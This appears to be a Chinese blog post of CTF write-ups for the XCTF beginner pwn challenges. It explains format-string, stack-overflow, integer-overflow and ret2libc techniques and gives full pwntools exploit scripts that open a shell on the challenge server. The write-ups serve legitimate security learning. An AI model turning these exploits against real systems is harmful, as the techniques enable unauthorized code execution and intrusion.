攻防世界闖關記錄_pwn新手區

  開個新坑,記錄自己刷XCTF攻防世界的pwn題,因爲剛入門吧,從新手篇開始練起。這次一邊做題一邊寫筆記和writeup,鞏固一下自己學到的東西。

get_shell

  這道題我不太想寫writeup……做過的人肯定明白

CGfsb

  這道題其實是一道非常簡單的格式化字符串題,憑藉着自己對格式化字符串的記憶,以及大量動態調試,最後還是把這道題做出來了。記錄一下自己調試的過程吧,隨便找一篇格式化字符串的原理介紹(其實我沒看,不過自稱是春秋的應該不會太差):
https://www.cnblogs.com/ichunqiu/p/9329387.html

  先運行一下看看邏輯吧:

  就是先讓你輸入一下名字和信息,然後它會再打印出來,我們可以看一下源碼:

  標紅處可以明顯發現有一處格式化字符串漏洞,然後這道題的邏輯是把pwnme的內容修改爲8,我們可以很容易想到(說這話心虛,其實動調了半天才想到,主要忘記格式化字符串怎麼用了……)在輸入名字的時候寫pwnme的地址,然後在輸入message時使用格式化字符串漏洞把pwnme修改掉。打開r2查看pwnme變量的地址(使用的命令是is):

  隨後使用gdb(安裝了pwndbg插件)進行動態調試,先給0x80486d2地址打個斷點:

  爲什麼給這個地址打斷點呢?因爲這個地址是printf執行完成後的第一個指令,我們在這個地方打斷點,出來以後方便觀察棧內存中的情況。運行一次程序,我們在name處輸入test(就是爲了測試message,現在name對我調試毫無意義),在message裏輸入%20s%1$n,看看棧裏那個地方被改成了0x14(執行命令用r,我們輸入完畢後會運行到斷點處):

  看見棧中第二個位置所指向的地址內容被修改掉了。我們再運行一次,這次name輸入的還是test(十六進制下的內容會變成:74657374a)
,message輸入%20s%2$n(變成2$是爲了不改掉test的值):

由於test前兩個字節是7465,我們可以看到有兩個字節寫到了0xffffcdbc處,所以在寫入pwnme地址之前我們需要填充兩個字節,確保0xffffcdc0處可以被寫成pwnme的地址,這樣使用%$8n可以寫入到此位置(與esp之間的差值爲4的倍數),寫exp如下:

#encoding:utf-8
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:		2019-09-29 09:59:02
    @Version:	1.0.0
'''

from pwn import *
#p = process("CGfsb")
p = remote("111.198.29.45",31983)
payload_1 = "aa" + p32(pwnme_addr)
p.sendlineafter("please tell me your name:\n",payload_1)
payload_2 = "%8s%8$n"
p.sendlineafter("leave your message please:\n",payload_2)                                               
p.interactive()

when_did_you_born

  這道題其實挺簡單的,只不過……在做題過程中蠢了一下,浪費了不少時間。我們先使用IDA分析一下源程序:

  首先程序的邏輯是這樣的,你輸入出生年份,一旦等於1926就會退出。然後讓你填名字,輸出你名字後再判斷你是不是1926年出生,如果你是1926年出生就會給你flag。
  最開始的時候看錯了,以爲v4(存儲名字的變量)覆蓋不到v5上,然後懵逼了很久(喫一塹長一智,以後不能犯這種錯誤了)。然後研究了半天怎麼整數溢出啥的,隨後實現想不到就看了別人的wp,發現真的是用v4覆蓋v5,唉……exp如下:

#encoding:utf-8
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:	2019-09-29 09:59:02
    @Version:	1.0.0
'''

from pwn import *

#p = process("when_did_you_born")
p = remote("111.198.29.45",49187)

p.sendlineafter("What's Your Birth?\n","1997")

p.sendlineafter("What's Your Name?\n","a"*8+p64(1926))

p.interactive()

hello_pwn

  這道題也相當簡單,腳本都不用寫,但還是分析一下吧。用IDA看一下源碼:

  就是你往unk_601068輸入16個字符,它會判斷dword_60106c(此地址比輸入的地址高4位)是不是等於”nuaa”,如果等於就會給你flag。其實只要輸入4個字符填充好0x601068,後四個字符就會覆蓋掉0x60106c。這裏要注意大端序小端序的問題,總之輸入的內容是反過來的,最終payload爲:

1234aaun

level0

  這道題難度真的是level0,反正是最簡單的棧溢出了,用IDA分析一下:

  可以瞬間看到一個非常明顯的棧溢出,偏移是0x80。而且它還給了利用函數:

所以直接利用就好,exp:

#encoding:utf-8
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:	2019-09-29 09:59:02
    @Version:	1.0.0
'''

from pwn import *

#p = process("./level0")
p = remote("111.198.29.45",53314)

call_system_addr = 0x00400596

payload = 'a' * 136
payload += p64(call_system_addr)

p.sendlineafter("Hello, World\n",payload)

p.interactive()

level2

  用IDA先分析一下源碼:

  buf只有0x88的空間,可見此處明顯會存在溢出。查看一下保護機制:

  沒canary,我們查看一下有沒有可以利用的函數和字符串吧:

  可見system函數是程序自己會調用的,也有/bin/sh的字符串,直接利用就行,exp如下:

#encoding:utf-8
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:	2019-09-29 09:59:02
    @Version:	1.0.0
'''

from pwn import *

#p = process("level2")
p = remote("111.198.29.45",40649)
elf = ELF("level2")
bin_sh_addr = 0x0804a024
system_addr = elf.plt['system']

payload = 'a'*140
payload += p32(system_addr) + p32(1) + p32(bin_sh_addr)

p.sendlineafter("Input:\n",payload)
p.interactive()

guess_num

  這是個很有意思的題目,似乎從某年的ctf出過一道骰子的逆向題以後大家都喜歡玩骰子,我本科出校ctf題的時候其實也喜歡玩骰子。廢話不多說了,我們來分析一下源代碼吧:

  可見程序大致的邏輯是:輸入名字->丟10次骰子,丟錯一次就會GG,如果十次都成功的話就可以拿到flag。其實有點兒更像逆向題了。不過我們此處可以利用輸入名字時使用gets函數來覆蓋掉seed的值,以操控種子來使隨機數數列成爲我們所可控的序列。關於name需要多長,我們可以觀察堆棧空間:

  大致需要0x3C-0x10的長度,也可能在真正運行時比我們預計的更長。由於此處偷懶沒有使用動態調試,直接覆蓋了60個重複的’a’,然後編寫一個C語言程序,使用0x61616161作爲種子來生成隨機數列,源碼如下:

#include <stdio.h>
#include <stdlib.h>

int main(){
        char *a = "aaaaaaaa";
        srand(0x61616161);
        for(int i=0;i<=9;i++){
                int test = rand()%6 + 1;
                printf("%d\n",test);
        }
        return 0;
}

  查看隨機生成的序列:

  然後照着這個順序輸入就可以了:

int_overflow

  這道題還是略微有點兒意思的。先讓我們查看一下保護機制吧:

  沒有canary,比較容易進行棧溢出操作,來分析一下源碼(直接把漏洞點貼出來吧):

  漏洞點在於此處這個驗證密碼的位置,首先程序會獲取輸入字符串的長度,並存於一個int8類型的變量中,實際上,這個int8變量最多可以存儲256大小的數字。如果這個數字爲257,那麼在內存中查看的話其大小就變成了257-256=1。也就是說,我們輸入一個長度爲256+4~256+8長度之內的字符串,就可以溢出s,來進行ROP操作。exp如下:

#encoding:utf-8
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:	2019-09-29 09:59:02
    @Version:	1.0.0
'''

from pwn import *

shell_addr = 0x0804868b

#p = process("./int_overflow")
p = remote("111.198.29.45",34095)

payload = 0x14*'a' + 4*'a' + p32(shell_addr) + (256-0x14-4-4)*'a' + 4*'a'

p.sendlineafter("Your choice:","1")
p.sendlineafter("Please input your username:\n","test")
p.sendlineafter("Please input your passwd:\n",payload)

p.interactive()

cgpwn2

  這是一道很基本的棧溢出題目,分析一下源碼吧:

  漏洞點就在此處,name是使用堆進行存儲的,而message是使用棧中的s字符串來存儲的,使用了不安全的gets函數,我們直接把返回地址覆蓋成system,然後參數調用name,再在name中輸入我們想執行的命令就行了,exp如下:

#encoding:utf-8
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:	2019-09-29 09:59:02
    @Version:	1.0.0
'''

from pwn import *

#p = process("cgpwn2")
p = remote("111.198.29.45",50695)
elf = ELF("cgpwn2")

name = "/bin/sh"
system_addr = elf.plt["system"]
name_addr = 0x0804A080
message = "a" * 42 + p32(system_addr) + p32(0) + p32(name_addr)

p.sendlineafter("please tell me your name\n",name)
p.sendlineafter("hello,you can leave some message here:",message)

p.interactive()

string

  這道題相當相當有意思,作爲菜雞一枚,沒有查wp的情況下做了得有兩個多小時才做出來。可能是新手區裏最有意思的一道題目了,因此打算詳細講講,我們想從入口處分析一下源碼吧:

  此處我剛開始沒有摸到頭腦,仔細看會發現,v3首先申請了8大小的內存空間,然後在前4個空間中存放了數字68,在後四個空間中存放了數字85。而v4中存放的是v3的內容,並不是68、和85兩個數字,而是存放這兩個數字的內存空間的地址。在後面會很有用。

  接下來讓我們分析一下0x400D72處這個函數:

  這裏使用了scanf(“%s”)來進行讀取操作,看似是危險函數,然而由於對字符串長度進行了檢驗並且開啓了canary,實際上是無法利用的。想利用還得繼續看其調用的其他函數:

  反正第一次就得輸入east了,沒得選。在接着看sub_400BB9這個函數:

  這個地方選1的話會寫入一個地址,然後第二個輸入點存在格式化字符串漏洞,我們可以對某空間進行任意寫操作。我們可以記住此處。然後再接着看第三個調用的函數:

  其中a1存放的是v3的地址,就是我們v3申請的內存大小爲8的內存空間。理順思路,這裏如果我們可以使這8內存的空間中的前四個字節和後四個字節相等,就可以打shellcode。於是我們可以理順思路,在最開始時拿到兩個4字節的地址->v3[0]和v3[1]的地址,然後在之後的函數中將其中一個修改成和另一個相同->再在此處打shellcode。exp如下:

#encoding:utf-8
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:	2019-09-29 09:59:02
    @Version:	1.0.0
'''

from pwn import *

context.terminal = ['deepin-terminal','-x','sh','-c']
context(arch='amd64', os='linux')
#p = process("./string")
#gdb.attach(proc.pidof(p)[0])
p = remote("111.198.29.45",42101)

print p.recvuntil("secret[0] is ")
after_content = p.recvuntil("What should your character's name be:\n")
print after_content

secret_addr = int(after_content.split('\n')[0],16)

p.sendline("test")

addr_wanted = str(secret_addr)
shellcode = asm(shellcraft.sh())
print("[*] addr_wanted:",addr_wanted)

print p.sendlineafter("So, where you will go?east or up?:\n","east")
print p.sendlineafter("go into there(1), or leave(0)?:","1")
print p.sendlineafter("'Give me an address'\n",addr_wanted)
print p.sendlineafter("And, you wish is:\n","%85s%7$n")
print p.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
p.sendline(shellcode)
#print p.sendlineafter("Wizard: I will help you! USE YOU SPELL\n",shellcode)

p.interactive()

level3

  先來看看保護機制吧:

  這裏沒有canary保護,猜測其存在一個比較好利用的棧溢出漏洞。我們分析一下源代碼:

  這裏的棧溢出漏洞相當明顯,接下來就是思考如何製造rop了。

  這個函數既沒有system函數,也沒有是/bin/sh字符串,不過它使用了write函數,我們可以很方便的泄露一些敏感的地址信息。然後使用題目所給的libc文件計算偏移,再輸出了write函數地址後,減去libc中write函數的地址來計算基址,再加上/bin/sh的偏移和system函數的偏移,就可以計算出我們需要的兩個關鍵內容了。然後在rop中返回到vul_func再調用system函數。具體利用的exp如下:

#encoding:utf-8                                            
'''
    @Author:	b0ring
    @MySite:	https://blog.b0ring.cf/
    @Date:	2019-09-29 09:59:02
    @Version:	1.0.0
'''                                                                                                                   
                                                                                                                                                                              
from pwn import *                                                                                                                                                             
                                                                                                                                                                              
#p = process("./level3")                                                                                                                                                      
p = remote("111.198.29.45",31892)                                                                                                                                             
elf = ELF("./level3")                                                                                                                                                         
libc = ELF("libc_32.so.6")                                                                                                                                                    
                                                                                                                                                                              
write_plt = elf.plt["write"]                                                                                                                                                  
write_got = elf.got["write"]                                                                                                                                                  
write_offset = libc.symbols["write"]                                                                                                                                          
system_offset = libc.symbols["system"]                                                                                                                                        
bin_sh_offset = libc.search("/bin/sh").next()                                                                                                                                 
vul_addr = 0x0804844B                                                                                                                                                         
                                                                                                                                                                              
payload = 140*'a'                                                                                                                                                             
payload += p32(write_plt) + p32(vul_addr) + p32(1) + p32(write_got) + p32(4)                                                                                                  
                                                                                                                                                                              
start_content = p.recvuntil("Input:\n")                                                                                                                                       
print start_content                                                                                                                                                           
p.sendline(payload)                                                                                                                                                           
                                                                                                                                                                              
output = p.recvuntil("Input:\n")                                                                                                                                              
print output                                                                                                                                                                  
                                                                                                                                                                              
write_addr = u32(output[:4])                                                                                                                                                  
print "[*] write_addr:",hex(write_addr)                                                                                                                                       
                                                                                                                                                                              
system_addr = write_addr - write_offset + system_offset                                                                                                                       
bin_sh_addr = write_addr - write_offset + bin_sh_offset

print "[*] system_addr:",hex(system_addr)
print "[*] bin_sh_addr:",hex(bin_sh_addr)

payload = 140*'a'
payload += p32(system_addr) + p32(vul_addr) + p32(bin_sh_addr)

p.sendline(payload)

p.interactive()

結語

  其實新手區已經刷完一段時間了,感覺難度還好吧,基本沒有很難得題目,但是非常適合新手入門做。還是學會了一些東西,比方說看到某函數就大概反應可能會怎麼利用,練習了動態調試之類的。沒有白付出時間吧。遺憾是還沒做到堆入門的題目,期待接下來的高手區練習(已經做了幾道題了,還是沒碰到堆的)。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章